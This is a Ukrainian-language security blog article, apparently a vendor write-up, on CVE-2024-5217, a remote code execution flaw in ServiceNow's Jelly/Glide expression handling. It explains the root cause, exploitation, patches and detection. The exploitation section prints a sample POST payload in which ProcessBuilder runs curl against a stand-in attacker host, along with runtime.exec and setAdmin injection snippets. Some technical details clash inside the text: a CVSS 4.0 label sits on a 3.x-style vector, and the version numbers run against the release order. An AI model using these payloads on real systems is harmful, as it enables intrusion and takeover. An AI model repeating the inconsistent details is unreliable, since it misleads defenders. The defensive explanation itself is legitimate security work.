Вразливості

CVE-2024-5217: критична RCE-вразливість у ServiceNow

ResilientX Research Team

У червні 2024 року компанія ServiceNow розкрила CVE-2024-5217, критичну вразливість віддаленого виконання коду (RCE), що вражає її платформу Now Platform. Зі значенням CVSS 9,8 (критичний), ця вада наразила тисячі підприємств на несанкціоноване захоплення систем, витоки даних та атаки на ланцюг постачання. У цій статті розібрано технічне підґрунтя вразливості, механіку її експлуатації та стратегії усунення.

Показники CVSS 4.0:

  • Базова оцінка: 9.8 (AV:N /AC:L /AT:N /PR:N /UI:N /S:C /C:H /I:H /A:H )
  • Експлуатованість: Готові до застосування PoC-експлойти зафіксовано протягом 72 годин після розкриття.
  • Складність пом’якшення: Потребує оновлень на рівні інстансу та змін конфігурації.

Технічна анатомія вразливості

Першопричина: ін’єкція скриптів Glide Expression

Вразливість виникає у скриптовому фреймворку Glide Expression від ServiceNow — ключовому компоненті для динамічного рендерингу елементів інтерфейсу та автоматизації бізнес-логіки. Зокрема, клас GlideExpressionScript, що відповідає за обробку введених користувачем даних у шаблонах Jelly, не зміг очистити параметр jvar_page_title, переданий у кінцеву точку /login.do. Зловмисники скористалися цим недоглядом, щоб впровадити шкідливий код Java Expression Language (JEXL) або JavaScript, який платформа виконувала під час рендерингу на боці сервера.

Ключові вразливі компоненти:

  1. Шаблонізатор Jelly: ServiceNow використовує Jelly (скриптову мову на основі XML) для генерації динамічного HTML. Введені користувачем дані, вбудовані в теги Jelly (наприклад, <j:set>, <j:if>), не очищалися належним чином.
  2. Інтерпретатор JEXL: JEXL, легка мова виразів, не має вбудованої пісочниці. Зловмисники скористалися цим, щоб виконувати довільний код Java, зокрема виклики java.lang.Runtime для RCE.

Процес експлуатації

Покроковий ланцюг атаки

  1. Створення корисного навантаження:
    Зловмисники формують HTTP POST-запит до кінцевої точки /login.do, вбудовуючи шкідливе навантаження в параметр jvar_page_title.
    Приклад:

http

Копіювати

POST /login.do HTTP/1.1  Host: <target>  Content-Type: application/x-www-form-urlencoded  ...  jvar_page_title=javascript:new java.lang.ProcessBuilder("curl","attacker.com/shell.sh").start();  

  1. Виконання на боці сервера:
    • Рушій Jelly від ServiceNow обробляє значення jvar_page_title під час рендерингу UI.
    • Впроваджений код обходить перевірки валідації вхідних даних, використовуючи брак контекстно-залежного очищення в Jelly та JEXL.
  2. Виконання довільного коду:
    Корисне навантаження виконується з привілеями інстансу ServiceNow, уможливлюючи такі дії, як:
    • Створення зворотних оболонок (reverse shell) на серверах, підконтрольних зловмиснику.
    • Зміна записів у базі даних (наприклад, надання прав адміністратора через gs.getUser().setAdmin(true)).
    • Викрадення конфіденційних даних із таблиць sys_user або cmdb_ci.

Чому традиційні засоби захисту не спрацювали

  • Обхід WAF: Зловмисники обфускували корисне навантаження за допомогою URL-кодування або синтаксису виразів JEXL (наприклад, ${runtime.exec("whoami")}).
  • Відсутність пісочниці: Архітектура JEXL дозволяє прямий доступ до класів Java, оминаючи обмеження рушія скриптів ServiceNow.

Наслідки та реальна експлуатація

Ризики ланцюга постачання

Інтеграції ServiceNow зі сторонніми інструментами (наприклад, SAP, Salesforce) дозволяли зловмисникам переходити до підключених систем, збільшуючи радіус ураження від зламів.

Уражені версії та встановлення патчів

Вразливі випуски

  • Utah: Усі версії до Patch 10 Hot Fix 3 (v14.1.3).
  • Vancouver: Усі версії до Patch 6 Hot Fix 2 (v13.2.2).
  • Washington DC: Усі версії до Patch 1 Hot Fix 3b (v12.1.3b).

Реалізація патчів

ServiceNow випустила патчі, які:

  1. Очищення вхідних даних: запроваджено сувору валідацію jvar_page_title та інших параметрів за допомогою GlideSecureStringUtil.
  2. Вимкнення небезпечних функцій: обмежено доступ JEXL до високоризикових класів Java (наприклад, Runtime, ProcessBuilder).
  3. Розширене журналювання: додано журнали аудиту для виконання скриптів Jelly, щоб виявляти спроби ін’єкцій.

Стратегії пом’якшення, окрім встановлення патчів

Негайні дії

  1. Сегментація мережі:
    • Обмежте доступ до кінцевих точок /login.do та /ui за допомогою WAF (наприклад, правилами, що блокують запити з java.lang.Runtime).
    • Ізолюйте інстанси ServiceNow, які обробляють конфіденційні дані, від загальних корпоративних мереж.
  2. Посилення вхідних даних:
    • Застосуйте оновлення Content Security Policy (CSP) від ServiceNow, щоб блокувати вбудовані скрипти.
    • Використовуйте фільтри регулярних виразів, щоб відхиляти параметри із синтаксисом JEXL/JavaScript.

Складніші методи виявлення

  1. Поведінковий моніторинг:
    • Сповіщайте про незвичні запити GlideRecord (наприклад, масовий доступ до таблиць sys_user).
    • Позначайте процеси, що запускаються з інстансу ServiceNow (наприклад, cmd.exe, bash).
  2. Криміналістичний аналіз:
    • Перевіряйте журнали виконання скриптів Jelly на наявність шаблонів на кшталт ${} або javascript: у параметрах.
    • Використовуйте IntegrationHub від ServiceNow для аудиту робочих процесів Flow Designer на предмет несанкціонованих змін.

Уроки для безпечної low-code розробки

  1. Контекстно-залежне очищення:
    Валідація вхідних даних має враховувати контекст виконання (наприклад, HTML, Java чи JavaScript).
  2. Пісочниця для рушіїв виразів:
    Забороняйте скриптовим мовам (наприклад, JEXL) доступ до нативних класів Java, окрім явно дозволених випадків.
  3. Zero-Trust для API:
    Вважайте всі введені користувачем дані ненадійними, навіть в автентифікованих робочих процесах.

Висновок

CVE-2024-5217 — яскраве нагадування про ризики, притаманні рушіям скриптів low-code платформ. Її експлуатація показує, як єдиний неочищений параметр може скомпрометувати цілу корпоративну екосистему. Хоча встановлення патчів є терміновим, довгострокова стійкість потребує зміни парадигми: інтегрувати безпеку в дизайн мов виразів, забезпечувати сувору валідацію вхідних даних і застосовувати принципи zero-trust для SaaS-платформ.

Щоб отримувати актуальні оновлення, стежте за бюлетенем безпеки ServiceNow: KB1648313: бюлетень безпеки CVE-2024-5217.

Пов’язані ресурси

ПоділитисяLinkedInX
Пов’язані статті блогу
Нічого не знайдено.

Готові зменшити свою кіберекспозицію?

Дізнайтеся, як ResilientX забезпечує безперервну видимість вашої поверхні атаки, ризиків третіх сторін і стану відповідності — в одній платформі.

Забронюйте демо